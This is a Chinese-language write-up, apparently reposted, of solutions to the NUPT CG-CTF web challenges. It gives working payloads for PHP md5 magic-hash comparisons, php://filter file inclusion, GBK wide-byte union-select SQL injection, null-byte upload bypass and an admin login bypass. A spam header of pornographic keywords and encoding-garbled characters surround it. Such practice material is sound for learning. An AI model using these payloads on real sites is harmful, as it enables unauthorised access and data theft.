日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

南邮ctf nctf CG-CTF web题writeup

發(fā)布時(shí)間:2023/12/15 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 南邮ctf nctf CG-CTF web题writeup 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

目錄

  • **CG-CTF鏈接:**
    • 0x01 簽到題
    • 0x02 md5 collision
    • 0x03 簽到2
    • 0x04 這題不是WEB
    • 0x05 層層遞進(jìn)
    • 0x06 AAencode
    • 0x07 單身二十年
    • 0x08 php decode
    • 0x09 文件包含
    • 0x0a 單身一百年也沒(méi)用
    • 0x0b Download~!
    • 0x0c COOKIE
    • 0x0d MYSQL
    • 0x0e GBK Injection
    • 0x0f /x00
    • 0x10 bypass again
    • 0x11 變量覆蓋
    • 0x12 PHP是世界上最好的語(yǔ)言
    • 0x13 偽裝者
    • 0x14 Header
    • 0x15 上傳繞過(guò)
    • 0x16 SQL注入1
    • 0x17 pass check
    • 0x18 起名字真難
    • 0x19 密碼重置
    • 0x1a php 反序列化(暫時(shí)無(wú)法做)
    • 0x1b SQL Injection

CG-CTF鏈接:

https://cgctf.nuptsast.com/challenges#Web

0x01 簽到題

題目鏈接:http://chinalover.sinaapp.com/web1/

查看源碼可得到flag

flag:nctf{flag_admiaanaaaaaaaaaaa}

0x02 md5 collision

題目鏈接:http://chinalover.sinaapp.com/web19/
題目給了源碼

$md51 = md5('QNKCDZO'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) {echo "nctf{*****************}"; } else {echo "false!!!"; }} else{echo "please input a";}

經(jīng)分析,題目需要我們輸入一個(gè)a值,要求a的md5值與’QNKCDZO’的md5值相同
QNKCDZO的md5值為0e830400451993494058024219903391
要使a的md5值與給出的md5值相同進(jìn)行強(qiáng)行爆破不太現(xiàn)實(shí)
仔細(xì)觀察給出的md5值發(fā)現(xiàn) 該值以0e開頭的
PHP在處理哈希字符串時(shí),會(huì)利用”!=”或”==”來(lái)對(duì)哈希值進(jìn)行比較,它把每一個(gè)以”0e”開頭的哈希值都解釋為0,所以如果兩個(gè)不同的密碼經(jīng)過(guò)哈希以后,其哈希值都是以”0e”開頭的,那么PHP將會(huì)認(rèn)為他們相同,都是0
所以我們只需要找到md5值為0e開頭的值賦予a 則可以得到flag
以下幾個(gè)值作為參考

s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904

所以在url后面跟上?a=s878926199a 即可得到flag

flag:nctf{md5_collision_is_easy}

0x03 簽到2

題目鏈接:http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php

題目要求輸入口令,而口令在下方已經(jīng)直接給出
但是我們直接輸入是不行的,因?yàn)檩斎肟蛳拗屏溯斎氲拈L(zhǎng)度為10
我們按下F12,將輸入框限制輸入長(zhǎng)度改為更長(zhǎng),這里我改成了20

修改完畢后,在輸入框中輸入下面的口令,即可得到flag

flag:nctf{follow_me_to_exploit}

0x04 這題不是WEB

題目鏈接:http://chinalover.sinaapp.com/web2/index.html

經(jīng)分析后,flag一定跟圖片有關(guān),將圖片另存為本地
將圖片用文本格式或者用WinHex打開
可以看到flag隱藏在文本的最后面

flag:nctf{photo_can_also_hid3_msg}

0x05 層層遞進(jìn)

題目鏈接:http://chinalover.sinaapp.com/web3/
鏈接打開后是一個(gè)很正常的網(wǎng)頁(yè)

我們查看源碼,可以看到一個(gè)名為SO.html的網(wǎng)頁(yè)

題如其名,層層遞進(jìn),點(diǎn)開SO.html后還有S0.html、SO.htm、S0.htm
最后我們會(huì)找到一個(gè)叫404.html的網(wǎng)頁(yè)
在源碼中我們可以看到一串奇怪的js注釋,仔細(xì)觀察一下就可以得到flag

此外我們也可以使用burp 很快就能找到404.html

flag:nctf{this_is_a_fl4g}

0x06 AAencode

題目鏈接:http://homura.cc/CGfiles/aaencode.txt
鏈接打開后全是顏文字表情(o_o) 這里應(yīng)該是Unicode編碼

右鍵另存為頁(yè)面到本地 aaencode.txt 保存后再打開 就可以得到正常的aaencode

復(fù)制下來(lái) 在瀏覽器中按F12 在控制臺(tái)中 粘貼這些顏文字 即可得到flag

flag:nctf{javascript_aaencode}

0x07 單身二十年

題目鏈接:http://chinalover.sinaapp.com/web8/

點(diǎn)開burp抓包,可以得到flag
flag:nctf{yougotit_script_now}

0x08 php decode

題目給出代碼:

<?php function CLsI($ZzvSWE) {$ZzvSWE = gzinflate(base64_decode($ZzvSWE));for ($i = 0; $i < strlen($ZzvSWE); $i++) {$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);}return $ZzvSWE;} eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==")); ?>

直接放到php里面跑一遍

發(fā)現(xiàn)有語(yǔ)法錯(cuò)誤,把eval改成echo,即可得到flag

flag:nctf{gzip_base64_hhhhhh}

0x09 文件包含

題目鏈接:http://4.chinalover.sinaapp.com/web7/index.php

點(diǎn)開鏈接后,有一個(gè)click me?no 點(diǎn)一下

此時(shí)url為

http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

通過(guò)對(duì)url進(jìn)行分析以及題目名稱文件包含來(lái)看,題目提示flag在index中,這里發(fā)送了file為key,show.php為value的GET請(qǐng)求

<?php$file = $_GET["file"];... ...include($file); ?>

index.php大致內(nèi)容如上,通過(guò)訪問(wèn)index.php?file=show.php,則$file=show.php,也就是include(show.php),而對(duì)于php的include()函數(shù),會(huì)獲取指定文件的內(nèi)容,在執(zhí)行前將代碼插入到index.php文件中。而如果被包含的文件中無(wú)有效的php代碼,則會(huì)直接輸出無(wú)效的文件內(nèi)容。通常利用無(wú)效代碼這一點(diǎn)來(lái)將文件內(nèi)容輸出。
通過(guò)以上分析,我們應(yīng)該是需要獲取index.php文件的內(nèi)容進(jìn)行下一步分析,那么就需要利用include(),包含index.php,并且是無(wú)效代碼的index.php文件,嘗試使用php偽協(xié)議php://filter,以base64編碼格式讀取文件(因?yàn)閎ase64編碼的index.php無(wú)法執(zhí)行,將會(huì)被直接輸出),構(gòu)造:

file=php://filter/read=convert.base64-encode/resource=[文件路徑]

文件路徑這里采取相對(duì)路徑,相對(duì)于/web7/index.php文件所在目錄下的index.php文件,即…/index.php(當(dāng)前目錄下的index.php文件)


得到

PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=

用base64解密,即可得到flag,解密結(jié)果如下

<html><title>asdf</title><?phperror_reporting(0);if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); //flag:nctf{edulcni_elif_lacol_si_siht}?> </html>

flag:nctf{edulcni_elif_lacol_si_siht}

0x0a 單身一百年也沒(méi)用

題目鏈接:http://chinalover.sinaapp.com/web9/
這道題跟0x07一樣,直接抓包,不過(guò)這題的flag在響應(yīng)頭中


flag: nctf{this_is_302_redirect}

0x0b Download~!

題目鏈接:http://way.nuptzj.cn/web6/

好像失效了⊙﹏⊙‖∣

0x0c COOKIE

題目鏈接:http://chinalover.sinaapp.com/web10/index.php
題目描述中有一個(gè)tips:0==not

抓包看看

抓包結(jié)果結(jié)合題目cookie 以及tips,我們?cè)囋噷ookie:Login=0修改為1,得到flag

flag:nctf{cookie_is_different_from_session}

0x0d MYSQL

題目鏈接:http://chinalover.sinaapp.com/web11/


點(diǎn)擊這個(gè)鏈接,結(jié)果真的是百度百科,我還仔細(xì)把百科看了一遍⊙﹏⊙‖∣
看上面提示,得知應(yīng)該存在一個(gè)robots.txt,打開看看

上面的字由于編碼原因看不起了,不過(guò)大概能知道有一個(gè)sql.php文件以及flag跟下面的代碼有關(guān)

<?phpif($_GET[id]) {mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);mysql_select_db(SAE_MYSQL_DB);$id = intval($_GET[id]);$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));if ($_GET[id]==1024) {echo "<p>no! try again</p>";}else{echo($query[content]);}}?>

分析后發(fā)現(xiàn)存在一個(gè)intval()函數(shù),用于獲取變量的整數(shù)值
根據(jù)下面的if函數(shù)分析,只要輸入一個(gè)整數(shù)位為1024,小數(shù)位不為0的id,即可得到flag,這里我用的是1024.1

sql.php?id=1024.1


flag:nctf{query_in_mysql}

0x0e GBK Injection

題目鏈接:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
顯示了當(dāng)前語(yǔ)句,很容易看出來(lái)是字符型注入

嘗試在id=1后面加上一個(gè)單引號(hào)’,發(fā)現(xiàn)’被轉(zhuǎn)義為反斜杠\,再結(jié)合題目GBK Injection,不難想到這是一道寬字節(jié)注入題,我們可以用%df%27來(lái)代替單引號(hào)’,后面發(fā)現(xiàn)空格和#也被過(guò)濾了,所以用%23代替#,注釋號(hào)/**/代替空格

空格---------->/**/ #------------>%23 '------------>%df'=%df%27

接下來(lái)開始注入
id=-1’ union select 1,2#

?id=-1%df%27/**/union/**/select/**/1,2%23


可以知道回顯位為2
id=-1’ union select 1,database()#

?id=-1%df%27/**/union/**/select/**/1,database()%23

可以得到數(shù)據(jù)庫(kù)名為sae-chinalover
?id=-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572#
這里數(shù)據(jù)庫(kù)名字用16進(jìn)制表示

?id=-1%df%27/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=0x7361652d6368696e616c6f766572%23

可以得到ctf,ctf2,ctf3,ctf4,gbksqli,news六張表
查詢每一張表的列,以gbksqli為例
?id=-1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x67626b73716c69#

?id=-1%df%27/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x67626b73716c69%23

可以得到gbksqli中有flag列(ctf4表中有個(gè)假flag)
查詢flag值
?id=-1 union select 1,flag from gbksqli#

?id=-1%df%27/**/union/**/select/**/1,flag/**/from/**/gbksqli%23

可以得到flag
flag:nctf{gbk_3sqli}

0x0f /x00

題目鏈接:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php
題目給出代碼

if (isset ($_GET['nctf'])) {if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)echo '必須輸入數(shù)字才行';else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE) die('Flag: '.$flag);elseecho '騷年,繼續(xù)努力吧啊~';}

ereg()函數(shù)用指定的模式搜索一個(gè)字符串中指定的字符串,如果匹配成功返回true,否則,則返回false。搜索字母的字符是大小寫敏感的,這里限制變量nctf的必須為數(shù)字型
strpos() 函數(shù)查找字符串在另一字符串中第一次出現(xiàn)的位置,返回字符串在另一字符串中第一次出現(xiàn)的位置,如果沒(méi)有找到字符串則返回 FALSE,這里限制nctf中必須含有’#biubiubiu’
同時(shí)要求變量為數(shù)字型且含有字符串片段,這里我們有兩種方法
方法一:ereg(array)返回NULL,strpos(array)返回NULL而NULL與FALSE類型是不同的,所以我們可以考慮傳入nctf為一個(gè)數(shù)組

?nctf[]


方法二:根據(jù)題目名稱,我們可以用%00截?cái)嗟姆绞絹?lái)獲得flag
ereg()函數(shù)存在NULL截?cái)嗦┒?#xff0c;導(dǎo)致了正則過(guò)濾被繞過(guò),所以可以使用%00截?cái)嗾齽t匹配

?nctf=1%00%23biubiubiu

這里#用%23代替

flag:nctf{use_00_to_jieduan}

0x10 bypass again

題目鏈接:http://chinalover.sinaapp.com/web17/index.php
題目給出代碼

if (isset($_GET['a']) and isset($_GET['b'])) {if ($_GET['a'] != $_GET['b'])if (md5($_GET['a']) == md5($_GET['b']))die('Flag: '.$flag);elseprint 'Wrong.';}

這里要求傳入a,b要求a,b的值不相同,而a,b的md5值相同,我們就想到0x02中,md5()函數(shù)中存在0e截?cái)?#xff0c;所以我們只用傳入兩個(gè)md5值為0e開頭的a,b值即可

s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469

這里采用0x02的數(shù)據(jù)

?a=s878926199a&b=s155964671a


同時(shí),md5(array)的值為NULL,所以我們也可以考慮傳入兩個(gè)數(shù)組

?a[]=0&b[]=1

flag:nctf{php_is_so_cool}

0x11 變量覆蓋

題目鏈接:http://chinalover.sinaapp.com/web18/index.php

下面有個(gè)source.php,給出代碼

<?phpinclude("secret.php");?><?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?><?phpextract($_POST);if ($pass == $thepassword_123) { ?><div class="alert alert-success"><code><?php echo $theflag; ?></code></div><?php } ?><?php } ?>

要求傳入一個(gè)pass值,使得pass值與thepassword_123相同,即可得到flag,但我們不知道thepassword_123是多少
extract() 函數(shù)從數(shù)組中將變量導(dǎo)入到當(dāng)前的符號(hào)表,該函數(shù)使用數(shù)組鍵名作為變量名,使用數(shù)組鍵值作為變量值。針對(duì)數(shù)組中的每個(gè)元素,將在當(dāng)前符號(hào)表中創(chuàng)建對(duì)應(yīng)的一個(gè)變量。
extract(array,extract_rules,prefix)中第二個(gè)變量是檢查和符號(hào)表中已存在的變量名是否沖突,而在上面為默認(rèn)值,若沒(méi)有另外指定,函數(shù)將覆蓋已有變量,故傳入任意pass和與之相等的thepassword_123即可獲取flag
抓包,post傳入

pass=1&thepassword_123=1


flag:nctf{bian_liang_fu_gai!}

0x12 PHP是世界上最好的語(yǔ)言

題目鏈接:http://way.nuptzj.cn/php/index.php
題目已崩,說(shuō)明PHP不是世界上最好的語(yǔ)言

0x13 偽裝者

題目鏈接:http://chinalover.sinaapp.com/web4/xxx.php

理論上抓包,加上X-Forwarded-For為127.0.0.1就可以成功,這里可能是題目崩了

0x14 Header

題目鏈接:http://way.nuptzj.cn/web5/

0x15 上傳繞過(guò)

題目鏈接:http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/index.html

一道正經(jīng)的上傳題,我們隨便上傳一個(gè)文件提示我們應(yīng)該上傳圖片,上傳一張jpg圖片,提醒我們應(yīng)該改為PHP后綴

抓包,嘗試將filename改成1.jpg.php,失敗了
我們采用%00截?cái)?#xff0c;將upload/后面加上1.php .jpg,php后面有一個(gè)空格,方便一會(huì)兒修改
在hex中找到這里,把空格的20改成00

得到flag

flag:nctf{welcome_to_hacks_world}
(這里嘗試過(guò)將filename改成1.php .jpg再截?cái)?#xff0c;結(jié)果失敗了)

0x16 SQL注入1

題目鏈接:http://chinalover.sinaapp.com/index.php

有個(gè)Source,代碼如下

<?phpif($_POST[user] && $_POST[pass]) {mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);mysql_select_db(SAE_MYSQL_DB);$user = trim($_POST[user]);$pass = md5(trim($_POST[pass]));$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";echo '</br>'.$sql;$query = mysql_fetch_array(mysql_query($sql));if($query[user]=="admin") {echo "<p>Logged in! flag:******************** </p>";}if($query[user] != "admin") {echo("<p>You are not admin!</p>");}}echo $query[user];?>

分析下代碼,明顯的帶括號(hào)的字符型,這里僅判斷user=admin即可登錄成功,所以我們直接閉合user之后的語(yǔ)句并讓user=admin即可
抓包,post,得到flag

user=admin')#&pass=1


flag:nctf{ni_ye_hui_sql?}

0x17 pass check

題目鏈接:http://chinalover.sinaapp.com/web21/
題目給出代碼

$pass=@$_POST['pass'];$pass1=***********;//被隱藏起來(lái)的密碼if(isset($pass)){if(@!strcmp($pass,$pass1)){echo "flag:nctf{*}";}else{echo "the pass is wrong!";}}else{echo "please input pass!";}?>

strcmp(string1,string2)函數(shù)比較兩個(gè)字符串,若返回0則string1=string2,返回<0則string1<string2,返回>0則string1>string2
這里要求我們傳入一個(gè)pass值與未知的pass1相同,即可得到flag
同樣,strcmp(array)的值為NULL
不過(guò)這里,好像出現(xiàn)了點(diǎn)小問(wèn)題,無(wú)論如何都不能傳入pass值,gg

0x18 起名字真難

題目鏈接:http://chinalover.sinaapp.com/web12/index.php
題目給出代碼

<?phpfunction noother_says_correct($number){$one = ord('1');$nine = ord('9');for ($i = 0; $i < strlen($number); $i++){ $digit = ord($number{$i});if ( ($digit >= $one) && ($digit <= $nine) ){return false;}}return $number == '54975581388';}$flag='*******';if(noother_says_correct($_GET['key']))echo $flag;else echo 'access denied';?>

ord(string)是求string的ascii值
分析下代碼,題目要求我們傳入一個(gè)key其中不能含有數(shù)字,又要跟’54975581388’相同
一開始沒(méi)什么思路,不過(guò)把’54975581388’換成16進(jìn)制,就知道了
54975581388=0xccccccccc

?key=0xccccccccc


flag:nctf{follow_your_dream}

0x19 密碼重置

題目鏈接:http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg==

題目要求我們重制管理員admin的密碼
我們將賬號(hào)欄改成admin,發(fā)現(xiàn)無(wú)法修改,驗(yàn)證碼告訴了是1234
抓包

user=admin&newpass=111&vcode=1234


發(fā)現(xiàn)失敗了,我們?cè)倏匆幌聈rl

http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg==

發(fā)現(xiàn)有個(gè)user1=Y3RmdXNlcg==
看上去是個(gè)base64編碼,解碼后為ctfuser,為默認(rèn)輸入的值,所以我們還需要將admin的base64值加到url的user1=后面
admin的base64值為YWRtaW4=

nctf{reset_password_often_have_vuln}

0x1a php 反序列化(暫時(shí)無(wú)法做)

題目鏈接:http://4.chinalover.sinaapp.com/web25/index.php

0x1b SQL Injection

題目鏈接:http://chinalover.sinaapp.com/web15/index.php


查看源碼可以得到提示

<!--#GOAL: login as admin,then get the flag;error_reporting(0);require 'db.inc.php';function clean($str){if(get_magic_quotes_gpc()){$str=stripslashes($str);}return htmlentities($str, ENT_QUOTES);}$username = @clean((string)$_GET['username']);$password = @clean((string)$_GET['password']);$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';$result=mysql_query($query);if(!$result || mysql_num_rows($result) < 1){die('Invalid password!');}echo $flag;-->

分析下代碼,clean()函數(shù)中stripslashes(string)函數(shù)的作用是去掉字符串string中的反斜杠\,htmlentities(string, ENT_QUOTES)的作用是將字符串中string的單引號(hào)和雙引號(hào)編碼

總結(jié)

以上是生活随笔為你收集整理的南邮ctf nctf CG-CTF web题writeup的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。